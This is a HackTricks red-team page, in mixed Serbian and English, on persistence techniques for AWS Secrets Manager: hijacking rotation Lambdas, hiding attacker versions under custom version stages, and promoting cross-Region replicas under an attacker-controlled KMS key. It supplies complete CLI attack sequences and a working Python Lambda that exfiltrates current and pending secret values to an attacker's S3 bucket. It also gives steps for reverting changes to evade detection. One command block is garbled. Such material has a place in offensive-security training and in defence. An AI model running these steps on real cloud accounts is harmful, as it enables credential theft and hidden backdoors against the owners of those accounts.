AWS - Secrets Manager Persistence

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Secrets Manager

For more info check:

AWS - Secrets Manager Enum

Putem Resource Policies

Moguće je putem resource policies grant access to secrets to external accounts. Check the Secrets Manager Privesc page za više informacija. Imajte na umu da, da bi access a secret, spoljni nalog takođe mora need access to the KMS key encrypting the secret.

Putem Secrets Rotate Lambda

Da bi se rotate secrets automatski, poziva se konfigurisani Lambda. Ako bi napadač mogao change code, mogao bi direktno exfiltrate the new secret sebi.

Ovako može izgledati lambda code za takvu akciju:

import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Preusmeri Lambda za rotaciju na funkciju pod kontrolom napadača pomoću RotateSecret

Iskoristite secretsmanager:RotateSecret da ponovo povežete secret na Lambda za rotaciju pod kontrolom napadača i pokrenete trenutnu rotaciju. Zlonamerna funkcija eksfiltrira verzije tajne (AWSCURRENT/AWSPENDING) tokom koraka rotacije (createSecret/setSecret/testSecret/finishSecret) ka mestu za eksfiltraciju napadača (npr. S3 ili eksterni HTTP).

  • Requirements

  • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction on the attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (or AttachRolePolicy) to provision the Lambda execution role with secretsmanager:GetSecretValue and preferably secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (so rotation keeps working), KMS kms:Decrypt for the secret KMS key, and s3:PutObject (or outbound egress) for exfiltration.

  • A target secret id (SecretId) with rotation enabled or the ability to enable rotation.

  • Impact

  • Napadač dobija vrednost(e) tajne bez izmene legitimnog koda za rotaciju. Samo se menja konfiguracija rotacije da pokazuje na Lambda pod kontrolom napadača. Ako se ne primeti, zakazane buduće rotacije će nastaviti da pozivaju napadačevu funkciju.

  • Attack steps (CLI)

  1. Prepare attacker sink and Lambda role
  • Kreirajte S3 bucket za eksfiltraciju i execution role kojoj Lambda veruje sa dozvolama za čitanje tajne i pisanje u S3 (plus logs/KMS po potrebi).
  1. Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
  2. Rebind rotation and trigger
  • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
  1. Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
  2. (Optional) Restore the original rotation Lambda to reduce detection.
  • Example attacker Lambda (Python) exfiltrating to S3
  • Environment: EXFIL_BUCKET=<bucket>
  • Handler: lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Iskoristite Secrets Manager version staging labele da postavite attacker-controlled verziju secreta i držite je skrivenom pod custom stage-om (na primer, ATTACKER) dok produkcija nastavlja da koristi originalni AWSCURRENT. U bilo kom trenutku, pomerite AWSCURRENT na attacker-ovu verziju da zatrovate zavisna workloads, a zatim ga vratite da umanjite šansu za detekciju. Ovo omogućava prikrivenu backdoor persistentnost i brzu manipulaciju time-of-use bez menjanja imena secreta ili rotation config-a.

  • Requirements

  • Permissions: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (for verification)

  • Target secret id in the Region.

  • Impact

  • Održavajte skrivenú, attacker-controlled verziju secreta i atomsku promenu AWSCURRENT na nju po potrebi, utičući na sve consumer-e koji rešavaju isti secret name. Brza promena i momentalan revert smanjuju šansu za detekciju dok omogućavaju kompromitovanje u trenutku korišćenja.

  • Attack steps (CLI)

  • Preparation

  • export SECRET_ID=<target secret id or arn>

CLI komande ```bash # 1) Capture current production version id (the one holding AWSCURRENT) CUR=$(aws secretsmanager list-secret-version-ids \ --secret-id "$SECRET_ID" \ --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ --output text)

2) Create attacker version with known value (this will temporarily move AWSCURRENT)

BACKTOK=$(uuidgen) aws secretsmanager put-secret-value
–secret-id “$SECRET_ID”
–client-request-token “$BACKTOK”
–secret-string {backdoor:hunter2!}

3) Restore production and hide attacker version under custom stage

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage ATTACKER
–move-to-version-id “$BACKTOK”

Verify stages

aws secretsmanager list-secret-version-ids –secret-id “$SECRET_ID” –include-deprecated

4) On-demand flip to the attacker’s value and revert quickly

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$BACKTOK”
–remove-from-version-id “$CUR”

Validate served plaintext now equals the attacker payload

aws secretsmanager get-secret-value –secret-id “$SECRET_ID” –query SecretString –output text

Revert to reduce detection

aws secretsmanager update-secret-version-stage
–secret-id “$SECRET_ID”
–version-stage AWSCURRENT
–move-to-version-id “$CUR”
–remove-from-version-id “$BACKTOK”

</details>

- Beleške
- Kada navedete `--client-request-token`, Secrets Manager ga koristi kao `VersionId`. Dodavanje nove verzije bez eksplicitnog postavljanja `--version-stages` po defaultu premesti `AWSCURRENT` na novu verziju i označi prethodnu kao `AWSPREVIOUS`.


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Iskoristite Secrets Manager multi-Region replication da kreirate replica ciljanog secret-a u manje nadgledanoj Region, enkriptujete ga attacker-controlled KMS key u toj Region, potom promovirate replica u standalone secret i prikačite permissive resource policy koja daje attacker read access. Originalni secret u primary Region ostaje neizmenjen, obezbeđujući trajan, stealthy pristup vrednosti secret-a preko promoviranog replica, a istovremeno zaobilazeći KMS/policy ograničenja na primarnom.

- Zahtevi
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- U replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ili `kms:PutKeyPolicy`) da omoguće attacker principal-u `kms:Decrypt`.
- An attacker principal (user/role) koji će dobiti read access na promoted secret.

- Uticaj
- Trajan cross-Region put do vrednosti secret-a kroz standalone replica pod attacker-controlled KMS CMK i permissive resource policy. Primary secret u originalnoj Region ostaje netaknut.

- Napad (CLI)
- Vars
```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. Kreiraj KMS key pod kontrolom napadača u replica Regionu
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. Replikujte tajnu u R2 koristeći attacker KMS key
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. Promovišite repliku u samostalnu instancu u R2
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. Priložite permisivnu resource policy na standalone secret u R2
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. Pročitajte tajnu od attacker principal u R2
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks